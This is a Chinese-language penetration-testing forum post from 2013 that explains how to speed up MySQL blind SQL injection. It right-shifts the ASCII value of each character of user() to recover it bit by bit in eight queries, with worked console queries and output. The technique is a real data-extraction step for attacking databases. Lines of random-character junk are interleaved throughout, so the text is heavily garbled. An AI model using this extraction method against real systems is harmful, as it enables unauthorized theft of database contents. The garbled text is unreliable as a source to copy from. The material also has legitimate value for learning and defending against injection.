中国网络渗透测试联盟
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
[打印本页]
作者:
admin
时间:
2013-3-7 13:25
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
) \& g) A2 o6 ~. Y" b2 W
* B$ S3 ?5 V+ a7 l
+ Y+ W6 N# k( E7 H( N( E6 K
% V. b4 ?* q/ t( v H* _* T
下面将以查询mysql数据库当中user()的第一位为例:
v# e: n" O) w }1 t s
- N$ e7 Z7 ^, x8 S$ C% G
/ `* U o9 R% u6 K! m) I; ?: m
+ b$ g( r @/ _0 f8 E3 Y
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
" E0 j3 h; \. U' ~% h( q. [
; Q; h7 P5 a! ~
! h+ y/ Y9 \$ T% _5 l- l$ s- y9 t
/ M: z2 ^$ x" D9 \( g9 Y
首先执行如下sql语句:
- W6 c! @$ e* R) S7 \5 R6 h6 ^
$ I8 y* R5 h$ Q! }
( M5 U' }9 V# \& \; j% v+ C
Q: [( R3 Z4 u5 D- ?
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
$ a; h7 W5 O9 P! u
- N6 c6 ^1 U q( S$ h: Z) x
* D/ N; }% Z- c/ Q4 N( K& j
9 D& _# S/ U6 r1 t- f
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
+ A7 h R" S+ u& }# d0 i
C9 T* _* Y, _9 ~0 @& K
7 K% }6 n( {! i+ x
5 w M" c5 y, _, n
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
5 R" H0 S2 Q5 I1 b# t" N
$ u- W0 T! V7 ]$ i* M
4 a8 S2 g4 [2 l! @5 V+ ]
9 k& v* a+ \* F. j& M
如果运算结果为1,说明第一位为0,不为1
" h' V/ U' o! b5 t' q) Q( Y6 a
; e7 I* K2 ?! n$ d3 k9 n- J
) R, J0 I" Q- j% v5 e- I. ]. L) C
( y1 W1 I& U) X
+————————————–+
" T+ K' `) f s+ |# i6 `# N
6 r( c/ n! m# b3 K H0 @
| (ascii((substr(user(),1,1))) >> 7)=0 |
7 z1 d5 o$ H/ o3 ?2 C1 ]( g4 r
; V' @8 X0 F. x; t9 t0 q2 _
+————————————–+
0 s: C3 ^& y# Y% l
! a8 {5 u- J3 \. w
| 1 |
s% L% Z, j9 d1 T8 d
) R% o4 n) {7 B( ^+ j7 K: o2 _
+————————————–+
1 J# l% P6 `2 o2 c/ d8 B
5 `6 R. ^; K" K7 u
1 row in set (0.00 sec)
6 G7 S( R0 s* |- @7 ?3 V
7 Y( ?. F0 P( ^& }6 y! N$ p
这样我们就确定这个8bit的ascii的第一位为0
$ k v: f9 o F) Q4 v. V s" M7 x
: C3 o# S6 ~1 x+ P
. [5 e8 {9 d1 y E1 m- B# o
0 `6 Y. k g5 M# }
第二次我们来做6次右偏移来确定前两位
0 I6 x& S% X- K+ `
9 d6 @# i/ U+ @' {: s
& Z# O# x4 e# z6 Q1 X
0 T3 ~" Y) |! Y
前两位可能是01或00,即依然可以与0做比较,
, |" F2 A$ K6 D+ O3 [6 ^2 o! o
2 W& z. T8 [- [! p
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
& v3 d; Y$ y5 c' Z9 y L
8 s# r, D9 i% d* S: [
+————————————–+
$ y* n$ E5 @; Y$ p# H
. v& h. a/ l# P5 {; U
| (ascii((substr(user(),1,1))) >> 6)=0 |
0 V% f; [. e4 I' k! {
A: F# w/ N8 P, H, u
+————————————–+
6 _) S& R. d& W* Z( Y) b) K! Z
4 y' _ \) Z) p! l
| 0 |
' L( b: n" E3 a7 h/ v9 ~
i- v* F' R, [- W
+————————————–+
6 ?) {: G; g3 E( U
/ h+ C1 D& F, s5 i7 e# u/ F% u
1 row in set (0.00 sec)
9 C/ {# r6 R% w2 u, q
7 m) `8 |* h: \) ?9 t$ {: f
4 `' Q7 k* E# \) k' J3 p- i/ [
' o" d2 i7 o) b5 F$ }) A! R
结果为0,即第二位为1
: g1 M3 w& U, k O6 R% g M
: r4 o. u; d" q6 ?. E- [2 k
3 M r: y* C; M
' Y/ W. j+ O# z: K T& w
开始猜测前三位为010或011
6 U# O4 E" @ V
6 t# }( ?/ U* N$ X
' Q" i% q1 M+ v1 A, l$ r% H
' a4 v7 I% E! N0 Z* i- q
让我们看看010和011的ascii码是多少
( `# j9 S- N0 l8 |; B* N( Z/ v
6 s$ X% H/ H4 I) r7 S/ J+ n
6 T0 E& s$ I a
; M7 b9 R E: N. K% l0 P+ K/ ~ e
分别查询select b’011′ select b’010′
' L) |5 S7 D4 t1 }* t* }+ k! |
* g5 W+ e$ M7 |5 P* T+ ]
0 t7 M* `% }7 h; b H8 A
5 f6 c& n5 V E+ o' H9 v/ H5 C
获得结果 010 = 2 011 = 3
5 ~0 o1 @& J% B; W( _- L: Z
, a% j3 p& @3 ]/ n# s3 y
. S. o$ \7 w# @6 j. }" U" ]" S
+ ?5 w" O: f; ]; N
执行如下sql:
f! }" U! y/ v) I+ j6 g1 ~
8 f9 ]2 _/ u( C) d6 l; m8 j4 x8 ]
! F, h6 M4 y: l
% |% i. U2 ]4 p
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
: W, H2 c6 ?4 s: c4 R) C) ?; t \/ r
, x/ ^# ~& v2 S2 Q% @$ F( N
+————————————–+
[/ l8 ^7 @$ S
- ]( O' W: r2 ?" V$ B/ g1 h8 D3 M& Z
| (ascii((substr(user(),1,1))) >> 5)=2 |
( J1 f8 ~/ X/ F: ^2 J" [& |2 g
0 U+ e- A4 f+ W* L N5 r \
+————————————–+
3 M3 a( U5 O& a& O9 |1 e
' I# j/ J- M6 `2 |! h( a; h
| 0 |
# ~3 w# P' Y1 x
% ^( S) q' `1 Z/ q" Y( ~
+————————————–+
5 k" n5 x* H" K9 Y! z- w6 Z
* S' x& i U$ [5 A
即前三位不为010,而是011
- [- w* z! x, L2 ~
/ ]# }3 X9 k2 P
- R. ~4 H0 y5 i8 u+ C' w0 {5 y
7 P5 b. Q1 z$ w# x/ i$ `
直到获得最后一位
. K- q# Z% }% t6 d5 @6 ]
9 t" _# B% _1 s/ y# ^: H4 o
% ]) @* q) `. l4 i! P
6 q5 c% I& j; f: M" w" M
最终结果为:01110010
) n$ J9 `' V+ _) a0 h
! r( u, J5 L9 T% S+ T
( U1 B5 J( j( h9 |0 h- z
1 v3 `' ^1 H/ s; G- U5 m" b$ w
转换一下:
, v g" ^2 f, U0 T! @; I' ~
! Q* y H9 t3 r- o. o" y; L
! Z( f% \; C3 X: Z6 Y
2 f5 R: E7 G2 T( c% V
select b’01110010′
9 h& B+ O8 m5 |6 h# {9 d) I
9 s3 ]; u0 b3 d
7 I: e& { T+ g9 X" j
+ g" x9 w( X) F+ l5 w8 u) G
查询结果
% |& x- D& f" W/ @ U) G( _
, i' i+ g% `; U( O/ I) ~& s
$ O( n; a0 |0 M) i) F& {! E; [- u
3 @1 B! w* v, _3 g- W% E5 L) y
+————-+
5 d, M) ]; k g& D
1 w" L! @* Z; M) R$ d1 J
| b’01110010′ |
. J% s) t j+ s" M$ R( A
4 P5 V( L/ d0 h3 ^
+————-+
3 p+ j& s5 C9 |: ^3 I- \. J4 Z
4 _% `5 t0 w# P- x' \: ~$ ?: `' H
| r |
* |3 Q- I! C- j9 S' Y6 X* A
# v; y( }' i; w+ s
+————-+
6 l0 K/ L6 @) [5 Q) F/ C9 C+ A
% S0 K9 a3 B/ R& Y* U
1 row in set (0.00 sec)
( _6 ?6 e4 }( @: D
9 U" ?+ x3 r- \7 O
) @# D. C* }2 \$ Y# |/ |
- x8 U* \# Z2 T9 }0 ^$ k7 n
这样我们就获得了user()的第一位.其它位依此类推
+ y1 C9 L" T! I$ ^6 \6 x' H( i/ {
' r+ T. d' L8 y& {1 N- U" }
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2